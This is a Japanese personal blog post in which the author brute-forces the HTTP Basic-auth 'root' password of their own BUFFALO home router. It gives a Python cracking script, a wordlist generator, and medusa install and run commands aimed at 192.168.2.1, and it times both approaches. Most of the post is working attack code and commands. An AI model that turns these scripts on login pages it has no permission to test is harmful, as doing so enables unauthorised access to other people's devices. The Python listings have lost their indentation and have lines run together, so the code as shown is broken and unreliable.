ブルートフォースアタック 自作 and medusa
結構前の内容なのですがメモのため残しておきます。
今回はpythonでルータの「root」ユーザのパスワードをクラックしてみます。
テスト環境はもちろん自宅のルータです。
設定されているパスワードは3桁。一瞬でクラックされそうな鍵の長さです。
パスワードなしよりは、まだましな程度でしょうか?
ルータはBUFFALO WHR-G301Nです。
Basic認証のGETのタイプです。
鍵が見つかるとpassword="aa" 119 second のように文字列と経過秒数を表示して終了します。
そして、速度がものすごく遅いので正直使い物にはなりません。
1秒で2~3回程度の認証しかできません。
※追記:1秒で一回だった。スレッド処理なし。
総当たりでは文字数が多くなればなるほど解読に時間がかかるけど、4桁のパスワードだと想定してみても、
36*36*36*36 = 1679616通り
1秒で3回のアタックが可能だとすると
1分あたり180回
1679616/180/60 = 155.52時間
まぁ……一応現実的な時間ですかね?
使えません。
以下がプログラム: [ brute-force-attacker.py ]
#-------------------------------------------------------------------------------
# Name: brute force attacker
# Purpose:
#
# Author: Administrator
#
# Created: 19/11/2010
# Copyright: (c) Administrator 2010
# Licence: <your licence>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
from urllib2 import *
import time
import base64
user = "root"
password = ""
def brutus(count): if count != 1:
for i in range(97,127):
global password
password += chr(i)
if brutus(count-1)==1:
return 1
password = password[0:len(password)-1]
else:
for i in range(97,127):
tmp = password
tmp += chr(i)
request = Request("http://192.168.2.1/index.html")
base64string = base64.encodestring('%s:%s' % (user, tmp)).replace('\n', '')
request.add_header("Authorization", "Basic %s" % base64string)
try:
urlopen(request).read
print "Success !!\n"
print "Password="+tmp+"\n"
return 1
except:
print tmp
pass
def main():
start_time = time.time()
count = 1 start_time = int(time.time())
while(1):
if brutus(count) == 1:
break
count+=1
end_time = int(time.time())
use_time = end_time - start_time
print str(use_time)+"second\n"
print str(int(use_time)/60)+"minute\n"
if __name__ == '__main__':
main()
インターネット上のツール
ネットに転がってるツールとしては、windwos用ではbrutus、Linux用ではMedusa,Hydraなどが有名ではないかと。
自分で総当たり用の辞書を作ってmedusaなどで指定してあげればオンラインパスクラができるので、自宅のルータのパスなどの解読までどれくらいの時間がかかるのかを試してみるといいかもしれません。
medusaを使ってルータのパスワードをクラックしてみる。
実験環境はルータは上記で出てきたBUFFALO製のもの。
攻撃用のマシンとしてはLinux(Fedora15)を使用します。
1.medusaをインストールします
Hydraと違いmedusaはyumからインストールできます。
# yum install medusa
インストールが完了すればmedusaコマンドでオプションを見れるようになります。
2.総当たりに使用する辞書ファイルを作成する
簡単なので辞書ファイルを作成するプログラムをpythonで組んでしまいます。
以下がプログラム [ make-zisyo.py ]
#-------------------------------------------------------------------------------
# Name: module1
# Purpose:
#
# Author: Administrator
#
# Created: 19/11/2010
# Copyright: (c) Administrator 2010
# Licence: <your licence>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
from urllib2 import *
import time
import sys password = ""
def brutus(count,fd):
if count != 1:
for i in range(97,127):
global password
password += chr(i)
brutus(count-1,fd)
password = password[0:len(password)-1]
else:
for i in range(97,127):
tmp = password
tmp += chr(i)
fd.write(tmp + "\n")
def main(): max_count = int(sys.argv[1])+1
count = 1
fd = open("bruteforce.zisho","w")
while(1): if count != max_count:
brutus(count,fd)
else:
break
count += 1
if __name__ == '__main__':
main()
3.medusaに辞書ファイル・対象ホスト・moduleを指定して実行
表記方法: medusa -h [対象ホスト] -u [ユーザ名] -P [パスワード辞書ファイル] -M [モジュール]
オプションの-uと-pは大文字の-Uや-Pにすることで辞書ファイルを指定できる。小文字ならただの文字列。
今回はパスワードの部分を総当たりで作った辞書で補うのでPは大文字。
そして、実行時間を調べるためにシェルスクリプトを組んで実行時間を計測する。
プログラム [ medusa.sh ]
#!/bin/bash START=`date +%s`
medusa -h 192.168.2.1 -u root -P ./brutus.zisho -M http
END=`date +%s`
RESULT=`expr ${END} - ${START}`
echo "${RESULT}: seconds!!"
これでmedusaを使ったパスワードクラックは終了します。
medusaでは上記の同じ条件下で実行した結果25秒程度で終了しました。
実行速度の差を測る必要はありませんね。
遊びで作ったプログラムよりはるかに早く質が高いです。
他のオンライン上のサービスに自分のアカウントのパスワードをmedusaでチェックすると、パスワードが間違っているのに[SUCCESS] と出てしまう。